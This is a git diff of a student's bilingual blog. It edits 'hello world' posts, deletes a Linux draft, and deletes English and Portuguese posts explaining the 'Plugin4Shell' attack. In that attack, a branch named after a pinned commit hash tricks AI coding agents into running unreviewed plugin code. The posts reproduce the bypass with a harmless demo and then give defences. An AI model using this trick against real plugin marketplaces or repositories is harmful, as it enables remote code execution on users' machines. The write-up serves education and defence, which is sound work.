slug: "en-hello-world"
|
description: "A short note on why this blog exists and what I plan to write about here."
|
||||||
description: "A short note on why this exists and what I plan to write about here."
|
pubDate: 2026-01-12
|
||||||
pubDate: 2026-09-22
|
|
||||||
tags: ["meta", "blogging"]
|
tags: ["meta", "blogging"]
|
||||||
language: "en"
|
|
||||||
---
|
---
|
||||||
|
|
||||||
I've always had a creative side, as anyone who knows me can tell you. Sometimes it gets tucked away somewhere obscure, in the back of a drawer, waiting years to be used. And sometimes I make really good use of it.
|
Hi!
|
||||||
I've always loved writing, and I've wanted a place of my own to publish my thoughts for a long time. Only the ones I'd want to be public, of course. Nobody wants to hand over the entire inner workings of their brain just like that, for free. Still, I think some of my intellectual adventures deserve a bit of exposure, especially since, without someone to judge them, I'll never know if they were worth it.
|
|
||||||
|
|
||||||
One of my inspirations for creating a site/blog was [Fábio Akita](https://instagram.com/akitaonrails). I've been following him for a long time, and it was through the videos on [his YouTube channel](https://youtube.com/akitaonrails) that I started studying computer science, before I even got into college. Even though the videos are genuinely great, teaching things that are hard to learn any other way, after a while of binge-watching them I found his blog, [akitaonrails.com](https://akitaonrails.com). I thought it was super cool, and I liked the idea of having a personal place to share your opinions and the things you've learned.
|
|
||||||
|
|
||||||
Akita is a seasoned guy who's been in the industry for years. Me? Just a student slightly ahead of the material in my CS program. To people my age, this whole writing thing, having a blog, sounds like something old people do. But, like I said in my [last post](https://gabeefran.co/posts/spotify-complaining), I like the idea of doing things the old-fashioned way every now and then. The word _"Blog"_ sounds so 2010, but I don't know what else I'd call this crappy site you're reading. I guess _"blog"_ it is. Good thing I've been practicing caring less about what other people think, and look at that: it's working!
|
|
||||||
|
|
||||||
Anyway, call it whatever you want, I think it's worth posting something here every now and then. Even if nobody's interested, whatever! Then let it just be my public folder of notes. Just the fact that I opened the drawer and pulled my creativity out from the back of it already makes it all worth it.
|
|
||||||
|
|
|
||||||
|
|
@ -1,10 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "Spotify's Time Capsule Change and the Enshittification of Software"
|
title: "Spotify's Time Capsule Change and the Enshittification of Software"
|
||||||
slug: "en-spotify-complaining"
|
|
||||||
description: "Spotify just removed one of its best features. Beyond a bit of complaining, I want to open a debate about what software is turning into."
|
description: "Spotify just removed one of its best features. Beyond a bit of complaining, I want to open a debate about what software is turning into."
|
||||||
pubDate: 2026-09-2
|
pubDate: 2026-09-2
|
||||||
tags: ["software", "life"]
|
tags: ["software", "life"]
|
||||||
language: "en"
|
|
||||||
---
|
---
|
||||||
import ObservationCard from '../../../components/ObservationCard.tsx'
|
import ObservationCard from '../../../components/ObservationCard.tsx'
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,230 +0,0 @@
|
||||||
---
|
|
||||||
title: "Understanding Plugin4Shell: An Exploit That Uses a Simple Git Trick to Fool AI Coding Agents"
|
|
||||||
description: "A git branch named after a commit hash was enough to make AI coding agents run unverified plugins. I reproduced the Plugin4Shell trick on GitHub and Forgejo."
|
|
||||||
slug: "en-understanding-plugin4shell-git-trick-ai-coding-agents"
|
|
||||||
pubDate: 2026-09-28
|
|
||||||
tags: ["cybersecurity", "git", "ai", "software"]
|
|
||||||
seoKeywords: "Plugin4Shell, git branch named after commit hash, SHA pinning bypass, AI coding agents security, Claude Code plugin vulnerability, supply chain attack, git internals, Forgejo"
|
|
||||||
language: "en"
|
|
||||||
---
|
|
||||||
|
|
||||||
This post is based on [Ana Maria Constantin's post at TheNextWeb](https://thenextweb.com/news/plugin4shell-ai-coding-agents-zero-click-rce-sha-pinning) and [Air Security's report](https://www.air.security/blog-posts/plugin4shell).
|
|
||||||
|
|
||||||
AI coding agents like Claude Code and Codex install plugins from their marketplaces. Knowing that attackers could use plugins to ship malicious code, AI companies employed a simple security measure. They locked the plugins to a version that was reviewed and approved. But what if someone could bypass that lock? That's *exactly* what happened.
|
|
||||||
|
|
||||||
Researchers at Air Security discovered a vulnerability they called [Plugin4Shell](https://www.air.security/blog-posts/plugin4shell), which exploited how agents verified plugins. With a simple git trick, they were able to make the agent download and run unverified code. That means **Remote Code Execution**, token stealing, or anything that malicious code does.
|
|
||||||
|
|
||||||
Anthropic fixed it in **Claude Code 2.1.179** and OpenAI in **Codex 0.146.0**. Anyway, as a Computer Science student, I think this is a great opportunity to learn about git, supply chain attacks, and cybersecurity in general. So, let's dive into it!
|
|
||||||
|
|
||||||
## The Scenario
|
|
||||||
|
|
||||||
The industry's defense against malicious plugins was to *pin* each plugin to a specific commit. That commit was reviewed and approved, so it was considered safe. A commit hash is a SHA-1 of the commit's content and history, so it's content-addressed and *immutable*. But there is an issue with git itself. **Branches and tags are just movable name tags.** Interesting...
|
|
||||||
|
|
||||||
The commit hash is a 40-character-long string. What if there is a branch with the same name as a commit hash? Some git commands, like `checkout` and `clone --branch`, **actually prefer the branch**.
|
|
||||||
|
|
||||||
That's what they used to trick the agent into downloading and running unverified code!
|
|
||||||
|
|
||||||
## The attack, step by step
|
|
||||||
|
|
||||||
The attack consisted of the following steps:
|
|
||||||
|
|
||||||
1. The attackers create a plugin that is completely secure, no exploits and no malicious code. Let's suppose the hash for that commit is `xxxx`.
|
|
||||||
2. They get the marketplace's approval, and the plugin is pinned at commit `xxxx`.
|
|
||||||
3. Users start downloading and using the plugin.
|
|
||||||
4. They ship malicious code in a separate branch, named `xxxx`.
|
|
||||||
5. The agents refresh the plugin in the background, **no user interaction needed**.
|
|
||||||
6. Instead of the pinned commit, git chooses the latest commit on the branch with the same name.
|
|
||||||
7. The malicious code gets executed and, just like that, users are hacked.
|
|
||||||
|
|
||||||
## How does it work?
|
|
||||||
|
|
||||||
Let's test this trick ourselves in a local git repository. First, we create the repo and make a clean commit to pass the verification:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git init demo && cd demo
|
|
||||||
echo "print('safe plugin')" > plugin.py
|
|
||||||
git add . && git commit -m "safe version"
|
|
||||||
```
|
|
||||||
|
|
||||||
Now, let's run `git log` to get the commit hash.
|
|
||||||
|
|
||||||
```
|
|
||||||
commit 290b9e171e7b6facfe1e244a22c7152b31b6c290 (HEAD -> main)
|
|
||||||
Author: Gabriel Franco <gabe@example.com>
|
|
||||||
Date: Mon Sep 28 09:10:09 2026 -0300
|
|
||||||
|
|
||||||
safe version
|
|
||||||
```
|
|
||||||
|
|
||||||
There it is! `290b9e171e7b6facfe1e244a22c7152b31b6c290` is our commit hash. Now, let's create the evil branch:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git switch -c evil
|
|
||||||
echo "print('you got HACKED')" > plugin.py
|
|
||||||
git commit -am "evil version"
|
|
||||||
```
|
|
||||||
|
|
||||||
But the branch name is still `evil`. Sounds pretty suspicious, actually. Let's change it to our commit hash.
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git branch -m 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
This renamed the branch, so its name is exactly the hash from the safe and verified commit. Now, let's switch to the main branch with `git switch -` and try to access our safe commit with `git checkout`:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git checkout 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
Git even gave me a warning:
|
|
||||||
|
|
||||||
```
|
|
||||||
warning: refname '290b9e171e7b6facfe1e244a22c7152b31b6c290' is ambiguous.
|
|
||||||
Git normally never creates a ref that ends with 40 hex characters
|
|
||||||
because it will be ignored when you just specify 40-hex. These refs
|
|
||||||
may be created by mistake. For example,
|
|
||||||
|
|
||||||
git switch -c $br $(git rev-parse ...)
|
|
||||||
|
|
||||||
where "$br" is somehow empty and a 40-hex ref is created. Please
|
|
||||||
examine these refs and maybe delete them. Turn this message off by
|
|
||||||
running "git config set advice.objectNameWarning false"
|
|
||||||
Switched to branch '290b9e171e7b6facfe1e244a22c7152b31b6c290'
|
|
||||||
```
|
|
||||||
|
|
||||||
That's a good thing. But the warning probably isn't seen by the agent, who is not expecting any output from `checkout`, as long as its exit status is 0.
|
|
||||||
|
|
||||||
Let's check the content of `plugin.py`:
|
|
||||||
|
|
||||||
```python
|
|
||||||
print('you got HACKED')
|
|
||||||
```
|
|
||||||
|
|
||||||
Oops... Looks like we got HACKED!
|
|
||||||
|
|
||||||
## But can the git platforms fix it?
|
|
||||||
|
|
||||||
Apparently, GitHub already did it. I couldn't find a source that confirms when this change was made, but let's test it ourselves. I created a private repository on GitHub, then went back to the terminal:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git switch main
|
|
||||||
git remote add origin git@github.com:gabeefranco/demo-trick.git
|
|
||||||
git push -u origin main
|
|
||||||
```
|
|
||||||
|
|
||||||
Well, the `main` branch pushes fine:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 3, done.
|
|
||||||
Counting objects: 100% (3/3), done.
|
|
||||||
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
To github.com:gabeefranco/demo-trick.git
|
|
||||||
* [new branch] main -> main
|
|
||||||
branch 'main' set up to track 'origin/main'.
|
|
||||||
```
|
|
||||||
|
|
||||||
Now, let's see what happens to our branch named after the commit hash:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
As we can see, GitHub rejects it:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 5, done.
|
|
||||||
Counting objects: 100% (5/5), done.
|
|
||||||
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
remote: error: GH002: Sorry, branch or tag names consisting of 40 or 64 hex characters are not allowed.
|
|
||||||
remote: error: Invalid branch or tag name "290b9e171e7b6facfe1e244a22c7152b31b6c290"
|
|
||||||
To github.com:gabeefranco/demo-trick.git
|
|
||||||
! [remote rejected] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290 (pre-receive hook declined)
|
|
||||||
error: failed to push some refs to 'github.com:gabeefranco/demo-trick.git'
|
|
||||||
```
|
|
||||||
|
|
||||||
That's really good! Kudos to GitHub and all their Microsoft slop. They surprised me *this time*!
|
|
||||||
|
|
||||||
### What about other platforms?
|
|
||||||
|
|
||||||
In AI plugin marketplaces, the git repositories can be hosted on any platform, including a self-hosted Forgejo instance, for example. [Forgejo](https://forgejo.org/) is a fork of [Gitea](https://about.gitea.com/), and it allows us to self-host our git projects in the style of GitHub, but 100% open-source. It's good open-source software, I will write a post about it someday. My Forgejo version is `9.0.3+gitea-1.22.0`, as you can verify with `curl -s https://git.gabeefran.co/api/v1/version`. Keep in mind the behavior I showcase here may change in a future release.
|
|
||||||
|
|
||||||
In my own instance, let's test the branch naming. After creating a repository (this time, I will keep it public), I ran:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git remote remove origin
|
|
||||||
git remote add origin git@git.gabeefran.co:gabeefranco/git-trick.git
|
|
||||||
git push -u origin main
|
|
||||||
```
|
|
||||||
|
|
||||||
Again, `main` pushes correctly:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 3, done.
|
|
||||||
Counting objects: 100% (3/3), done.
|
|
||||||
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
To git.gabeefran.co:gabeefranco/git-trick.git
|
|
||||||
* [new branch] main -> main
|
|
||||||
branch 'main' set up to track 'origin/main'.
|
|
||||||
```
|
|
||||||
|
|
||||||
But `main` is verified by the marketplace. Let's test our evil branch:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
Unfortunately, Forgejo **doesn't implement the same fix**:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 5, done.
|
|
||||||
Counting objects: 100% (5/5), done.
|
|
||||||
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
remote:
|
|
||||||
remote: Create a new pull request for '290b9e171e7b6facfe1e244a22c7152b31b6c290':
|
|
||||||
remote: https://git.gabeefran.co/gabeefranco/git-trick/compare/main...290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
remote:
|
|
||||||
To git.gabeefran.co:gabeefranco/git-trick.git
|
|
||||||
* [new branch] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
branch '290b9e171e7b6facfe1e244a22c7152b31b6c290' set up to track 'origin/290b9e171e7b6facfe1e244a22c7152b31b6c290'.
|
|
||||||
```
|
|
||||||
|
|
||||||
I will keep this repository public. You can check it out [here](https://git.gabeefran.co/gabeefranco/git-trick). Just note that the commit hashes are different, because I had to edit them in order to maintain the consistency in the writing of this post.
|
|
||||||
|
|
||||||
## How to defend against it
|
|
||||||
|
|
||||||
First things first: if you use Claude Code or Codex, update them. Anything from **Claude Code 2.1.179** and **Codex 0.146.0** onwards is already fixed.
|
|
||||||
|
|
||||||
But what if you're writing a tool that pins git commits, just like the agents do? My first idea was `git checkout --detach`, since it should treat the argument as a commit, not a branch. I tested it in the same demo repo:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git checkout --detach 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
And `plugin.py` still said `you got HACKED`. Not even `--detach` saves us here! What actually works is appending `^{commit}` to the hash, which forces git to resolve it as a commit object:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git checkout --detach "290b9e171e7b6facfe1e244a22c7152b31b6c290^{commit}"
|
|
||||||
```
|
|
||||||
|
|
||||||
This time, we got the `safe plugin` back. Even so, don't trust the resolution blindly. **After checking out, always verify that `HEAD` is exactly the pinned hash**, and abort if it isn't:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
PIN=290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
[ "$(git rev-parse HEAD)" = "$PIN" ] || { echo "HEAD doesn't match the pin, aborting!"; exit 1; }
|
|
||||||
```
|
|
||||||
|
|
||||||
It's one line of shell, and it would have stopped this attack. If the agents did this, the evil branch would be useless.
|
|
||||||
|
|
||||||
And if you self-host your git projects, like me, you can do what GitHub did and reject branch and tag names made of 40 or 64 hex characters with a pre-receive hook. There's no legitimate reason for a branch to look like a commit hash anyway.
|
|
||||||
|
|
||||||
## Wrapping up
|
|
||||||
|
|
||||||
The main problem was that the agents asked git for the pinned commit, but they never verified if what they got back actually matched that hash. Pinning to commit SHAs is the standard advice against supply-chain attacks. Plugin4Shell shows that **pinning is only as good as how you _resolve_ the pin**.
|
|
||||||
|
|
||||||
By studying this case, we learned a lot about supply chain attacks, git internals and the cybersecurity involved in the AI agents scene. Many props to [Air Security](https://www.air.security/) for researching this topic and discovering this vulnerability.
|
|
||||||
|
|
||||||
I had a lot of fun writing this post, hope you enjoyed!
|
|
||||||
|
|
@ -1,19 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "O Hello World desse blog (ou seja lá como você queira chamar esse site)"
|
title: "Olá, mundo"
|
||||||
description: "Uma nota curta sobre por que isso existe e sobre o que pretendo escrever aqui."
|
description: "Uma nota curta sobre por que este blog existe e sobre o que pretendo escrever aqui."
|
||||||
pubDate: 2026-09-22
|
pubDate: 2026-01-12
|
||||||
slug: "pt-hello-world"
|
|
||||||
tags: ["meta", "blogging"]
|
tags: ["meta", "blogging"]
|
||||||
language: "pt"
|
|
||||||
---
|
---
|
||||||
|
|
||||||
Eu sempre tive um lado criativo, quem me conhece sabe. Às vezes ele fica guardado em algum lugar obscuro, no fundo da gaveta, esperando anos pra ser utilizado. E às vezes eu me aproveito dele muito bem.
|
Oie
|
||||||
Sempre gostei muito de escrever, e faz tempo que queria ter um lugar só meu pra publicar meus pensamentos. Mas só aqueles que eu gostaria que fossem públicos, claro. Ninguém quer entregar todo o funcionamento interno do seu cérebro assim, de graça. Ainda assim, acho que algumas das minhas aventuras intelectuais merecem um pouco de exposição, até porque, sem alguém pra julgar, nunca saberei se valeram a pena.
|
|
||||||
|
|
||||||
Uma das minhas inspirações pra criar um site/blog foi o [Fábio Akita](https://instagram.com/akitaonrails). Eu acompanho ele há muito tempo, e foi por meio dos vídeos do [canal do YouTube dele](https://youtube.com/akitaonrails) que eu comecei a estudar sobre computação, antes de entrar na faculdade. Apesar dos vídeos serem realmente muito bons, fornecendo aprendizados difíceis de obter de outra forma, depois de um tempo maratonando os vídeos eu descobri o blog dele, [akitaonrails.com](https://akitaonrails.com). Eu achei muito massa, e gostei da ideia de se ter um lugar pessoal onde se expõem opiniões e aprendizados.
|
|
||||||
|
|
||||||
O Akita é um cara com experiência, que vive há anos na indústria. Eu, um mero estudante levemente adiantado no conteúdo da faculdade de computação. Esse negócio de escrever, ter um blog, parece coisa de gente velha pras pessoas da minha geração. Mas, como falei no [último post](https://gabeefran.co/pt/posts/spotify-complaining), eu gosto da ideia de fazer coisas à moda antiga de vez em quando. O termo _"Blog"_ soa muito 2010, mas não sei que outro nome daria a esta porcaria deste site que você está lendo. Acho que vai ser _"blog"_ mesmo. Bem que eu tenho treinado pra ligar menos pra opinião dos outros, e olha só: tá funcionando!
|
|
||||||
|
|
||||||
Enfim, chame como você quiser, eu acho que vale a pena publicar algo de vez em quando por aqui. Mesmo que ninguém esteja interessado, tanto faz! Que seja apenas a minha pasta pública de notas, então. Só de eu ter aberto a gaveta e tirado de lá do fundo a minha criatividade, considero que já valeu a pena.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,50 +0,0 @@
|
||||||
---
|
|
||||||
title: "Eu Uso Linux Desde os Meus 10 Anos de Idade: Aqui Está o Que Ninguém te Conta"
|
|
||||||
description: "ainda não tem descrição"
|
|
||||||
slug: "pt-linux-since-10-what-nobody-tells-you"
|
|
||||||
pubDate: 2026-09-30
|
|
||||||
tags: ["draft"]
|
|
||||||
seoKeywords: ""
|
|
||||||
draft: true
|
|
||||||
language: "pt"
|
|
||||||
---
|
|
||||||
|
|
||||||
Quando eu comecei a programar, ouvi dizer que pra aprender programação de verdade tem que usar Linux. Eu simplesmente fui lá e segui essa dica à risca. Instalei o Ubuntu 18.04 em dual boot com o Windows 7, e a partir daí nunca mais pensei da mesma forma.
|
|
||||||
|
|
||||||
Nesse post, quero compartilhar um pouco da minha experiência, e dar algumas dicas pra quem está começando agora ou quer começar em breve.
|
|
||||||
|
|
||||||
## Um pouco da minha história
|
|
||||||
|
|
||||||
Tudo começa em maio de 2018. Eu tinha 10 anos de idade e já sabia que gostava muito de tecnologia, e tinha muito interesse por informática e edição de vídeos. O ponto de partida foi meu pai, que me levou a uma livraria aqui em Porto Alegre pra escolher um livro, já que ele queria que eu retomasse o gosto pela leitura. Ele sempre foi o maior [early adopter](https://en.wikipedia.org/wiki/Technology_adoption_life_cycle) das fases que se iniciavam na minha vida, até hoje é.
|
|
||||||
|
|
||||||
Ele queria que eu comprasse um livro de literatura mesmo, de histórias com início, meio e fim. Eu, por outro lado, queria comprar um livro que me ensinasse alguma coisa nova, dentro dos meus interesses. Concordamos em levar um de cada. Eu escolhi ["Programação em Python 3"](https://www.estantevirtual.com.br/livro/programacao-em-python-3-0FS-0355-000-BK), do [Mark Summerfield](https://mark-summerfield.github.io/index.html).
|
|
||||||
|
|
||||||
Meu pai tinha um PC que ele raramente usava. Na verdade, quem usava era eu, pra aprender programação e praticar o conteúdo do livro. Tinha um AMD Athlon, já ultrapassado mesmo naquela época, e rodava Windows 7. Conseguia programar, mas era meio lento. Além disso, eu era muito de pesquisar na internet, principalmente no YouTube, por dicas sobre assuntos que eu gostava. Assim, numa dessas pesquisas, vi alguns vídeos que diziam que Linux era melhor pra programar e aprender sobre informática e computação. Ouvi que tinha ferramentas melhores e era mais prático. Então já fui logo pesquisar como instalar, e depois de muito tempo tentando e me perguntando se tinha apagado os arquivos do meu pai, consegui colocar o Ubuntu ao lado do Windows 7 sem perder nada.
|
|
||||||
|
|
||||||
## A real vantagem do Linux
|
|
||||||
|
|
||||||
Depois de algum tempo nesse mundo, percebi que a maior vantagem de ter escolhido o Linux não foi a praticidade, nem nada parecido. Foi aprender na marra sobre como um sistema operacional funciona, e como consertar coisas que dão errado.
|
|
||||||
|
|
||||||
cotinuar ....
|
|
||||||
|
|
||||||
## Acho que eu sei como posso te ajudar
|
|
||||||
|
|
||||||
Dar dicas sobre como se adaptar melhor ao linux, tirando o mindset do windows da cabeça, comparando com como as coisas são no windows. A finalidade é ajudar o eleitor a se acostumar mais rápido. Falar com o leitor em segunda pessoa nessa seção.
|
|
||||||
|
|
||||||
### Entenda o terminal
|
|
||||||
|
|
||||||
Falar que o terminal não é a única opção, mas falar sobre a importância de saber fazer as coisas pela linha de comando.
|
|
||||||
|
|
||||||
### Entenda o gerenciamento de pacotes
|
|
||||||
|
|
||||||
Falar sobre o que é gerenciamento de pacotes, como ele funciona no windows, e como funciona nas distros linux.
|
|
||||||
|
|
||||||
### Entenda os drivers
|
|
||||||
|
|
||||||
Falar sobre minha experiência com os drivers de wifi como exemplo
|
|
||||||
|
|
||||||
|
|
||||||
## Enfim...
|
|
||||||
|
|
||||||
Conclusão.
|
|
||||||
|
|
||||||
|
|
@ -1,10 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "A mudança na cápsula do tempo do Spotify e a bostificação do software"
|
title: "A mudança na cápsula do tempo do Spotify e a bostificação do software"
|
||||||
description: "Spotify simplesmente removeu uma das suas melhores funcionalidades. Além de reclamar um pouco, quero abrir um debate sobre o que os softwares estão se tornando."
|
description: "Spotify simplesmente removeu uma das suas melhores funcionalidades. Além de reclamar um pouco, quero abrir um debate sobre o que os softwares estão se tornando."
|
||||||
slug: "pt-spotify-complaining"
|
|
||||||
pubDate: 2026-09-2
|
pubDate: 2026-09-2
|
||||||
tags: ["software", "life"]
|
tags: ["software", "life"]
|
||||||
language: "pt"
|
|
||||||
---
|
---
|
||||||
import ObservationCard from '../../../components/ObservationCard.tsx'
|
import ObservationCard from '../../../components/ObservationCard.tsx'
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,230 +0,0 @@
|
||||||
---
|
|
||||||
title: "Entendendo o Plugin4Shell: um exploit que usa um truque simples do git para enganar agentes de IA de programação"
|
|
||||||
description: "Uma branch do git com o nome de um hash de commit bastou para fazer agentes de IA de programação rodarem plugins não verificados. Reproduzi o truque do Plugin4Shell no GitHub e no Forgejo."
|
|
||||||
slug: "pt-understanding-plugin4shell-git-trick-ai-coding-agents"
|
|
||||||
pubDate: 2026-09-28
|
|
||||||
tags: ["cybersecurity", "git", "ai", "software"]
|
|
||||||
seoKeywords: "Plugin4Shell, branch do git com nome de hash de commit, bypass de SHA pinning, segurança de agentes de IA de programação, vulnerabilidade de plugin do Claude Code, ataque à cadeia de suprimentos, internals do git, Forgejo"
|
|
||||||
language: "pt"
|
|
||||||
---
|
|
||||||
|
|
||||||
Este post é baseado [no texto da Ana Maria Constantin no TheNextWeb](https://thenextweb.com/news/plugin4shell-ai-coding-agents-zero-click-rce-sha-pinning) e [no relatório da Air Security](https://www.air.security/blog-posts/plugin4shell).
|
|
||||||
|
|
||||||
Agentes de IA de programação como o Claude Code e o Codex instalam plugins dos seus marketplaces. Sabendo que atacantes poderiam usar plugins para distribuir código malicioso, as empresas de IA adotaram uma medida de segurança simples: travaram os plugins numa versão que tinha sido revisada e aprovada. Mas e se alguém conseguisse burlar essa trava? Foi *exatamente* isso que aconteceu.
|
|
||||||
|
|
||||||
Pesquisadores da Air Security descobriram uma vulnerabilidade que batizaram de [Plugin4Shell](https://www.air.security/blog-posts/plugin4shell), que explorava a forma como os agentes verificavam os plugins. Com um truque simples de git, eles conseguiram fazer o agente baixar e rodar código não verificado. Isso significa **execução remota de código (RCE)**, roubo de tokens ou qualquer coisa que um código malicioso possa fazer.
|
|
||||||
|
|
||||||
A Anthropic corrigiu isso no **Claude Code 2.1.179**, e a OpenAI, no **Codex 0.146.0**. De qualquer forma, como estudante de Ciência da Computação, acho que essa é uma ótima oportunidade pra aprender sobre git, ataques à cadeia de suprimentos e cibersegurança em geral. Então, bora lá!
|
|
||||||
|
|
||||||
## O cenário
|
|
||||||
|
|
||||||
A defesa da indústria contra plugins maliciosos era *fixar* (o famoso *pinning*) cada plugin num commit específico. Esse commit tinha sido revisado e aprovado, então era considerado seguro. O hash de um commit é um SHA-1 do conteúdo e do histórico do commit, ou seja, ele é endereçado por conteúdo e *imutável*. Mas existe um problema no próprio git. **Branches e tags são só etiquetas com nome, que podem ser movidas.** Interessante...
|
|
||||||
|
|
||||||
O hash do commit é uma string de 40 caracteres. E se existir uma branch com o mesmo nome de um hash de commit? Alguns comandos do git, como `checkout` e `clone --branch`, **preferem a branch**.
|
|
||||||
|
|
||||||
Foi isso que eles usaram pra enganar o agente e fazer ele baixar e rodar código não verificado!
|
|
||||||
|
|
||||||
## O ataque, passo a passo
|
|
||||||
|
|
||||||
O ataque seguia estes passos:
|
|
||||||
|
|
||||||
1. Os atacantes criam um plugin completamente seguro, sem exploits e sem código malicioso. Vamos supor que o hash desse commit seja `xxxx`.
|
|
||||||
2. Eles conseguem a aprovação do marketplace, e o plugin fica fixado no commit `xxxx`.
|
|
||||||
3. Os usuários começam a baixar e usar o plugin.
|
|
||||||
4. Eles publicam código malicioso numa branch separada, chamada `xxxx`.
|
|
||||||
5. Os agentes atualizam o plugin em segundo plano, **sem precisar de nenhuma interação do usuário**.
|
|
||||||
6. Em vez do commit fixado, o git escolhe o último commit da branch com o mesmo nome.
|
|
||||||
7. O código malicioso é executado e, simples assim, os usuários são hackeados.
|
|
||||||
|
|
||||||
## Como isso funciona?
|
|
||||||
|
|
||||||
Vamos testar esse truque por conta própria num repositório git local. Primeiro, criamos o repo e fazemos um commit limpo pra passar pela verificação:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git init demo && cd demo
|
|
||||||
echo "print('safe plugin')" > plugin.py
|
|
||||||
git add . && git commit -m "safe version"
|
|
||||||
```
|
|
||||||
|
|
||||||
Agora, vamos rodar `git log` pra pegar o hash do commit.
|
|
||||||
|
|
||||||
```
|
|
||||||
commit 290b9e171e7b6facfe1e244a22c7152b31b6c290 (HEAD -> main)
|
|
||||||
Author: Gabriel Franco <gabe@example.com>
|
|
||||||
Date: Mon Sep 28 09:10:09 2026 -0300
|
|
||||||
|
|
||||||
safe version
|
|
||||||
```
|
|
||||||
|
|
||||||
Aí está! `290b9e171e7b6facfe1e244a22c7152b31b6c290` é o nosso hash de commit. Agora, vamos criar a branch do mal:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git switch -c evil
|
|
||||||
echo "print('you got HACKED')" > plugin.py
|
|
||||||
git commit -am "evil version"
|
|
||||||
```
|
|
||||||
|
|
||||||
Mas o nome da branch ainda é `evil`. Na real, isso soa bem suspeito. Vamos trocar pelo nosso hash de commit.
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git branch -m 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
Isso renomeou a branch, então o nome dela agora é exatamente o hash do commit seguro e verificado. Agora, vamos voltar pra branch main com `git switch -` e tentar acessar nosso commit seguro com `git checkout`:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git checkout 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
O git até me deu um aviso:
|
|
||||||
|
|
||||||
```
|
|
||||||
warning: refname '290b9e171e7b6facfe1e244a22c7152b31b6c290' is ambiguous.
|
|
||||||
Git normally never creates a ref that ends with 40 hex characters
|
|
||||||
because it will be ignored when you just specify 40-hex. These refs
|
|
||||||
may be created by mistake. For example,
|
|
||||||
|
|
||||||
git switch -c $br $(git rev-parse ...)
|
|
||||||
|
|
||||||
where "$br" is somehow empty and a 40-hex ref is created. Please
|
|
||||||
examine these refs and maybe delete them. Turn this message off by
|
|
||||||
running "git config set advice.objectNameWarning false"
|
|
||||||
Switched to branch '290b9e171e7b6facfe1e244a22c7152b31b6c290'
|
|
||||||
```
|
|
||||||
|
|
||||||
Isso é bom. Mas o aviso provavelmente passa batido pelo agente, que não espera nenhuma saída do `checkout`, desde que o status de saída seja 0.
|
|
||||||
|
|
||||||
Vamos conferir o conteúdo do `plugin.py`:
|
|
||||||
|
|
||||||
```python
|
|
||||||
print('you got HACKED')
|
|
||||||
```
|
|
||||||
|
|
||||||
Ops... Parece que fomos HACKEADOS!
|
|
||||||
|
|
||||||
## Mas as plataformas de git conseguem corrigir isso?
|
|
||||||
|
|
||||||
Pelo visto, o GitHub já corrigiu. Não achei nenhuma fonte que confirme quando essa mudança foi feita, mas vamos testar por conta própria. Criei um repositório privado no GitHub e voltei pro terminal:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git switch main
|
|
||||||
git remote add origin git@github.com:gabeefranco/demo-trick.git
|
|
||||||
git push -u origin main
|
|
||||||
```
|
|
||||||
|
|
||||||
Bom, a branch `main` sobe sem problema:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 3, done.
|
|
||||||
Counting objects: 100% (3/3), done.
|
|
||||||
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
To github.com:gabeefranco/demo-trick.git
|
|
||||||
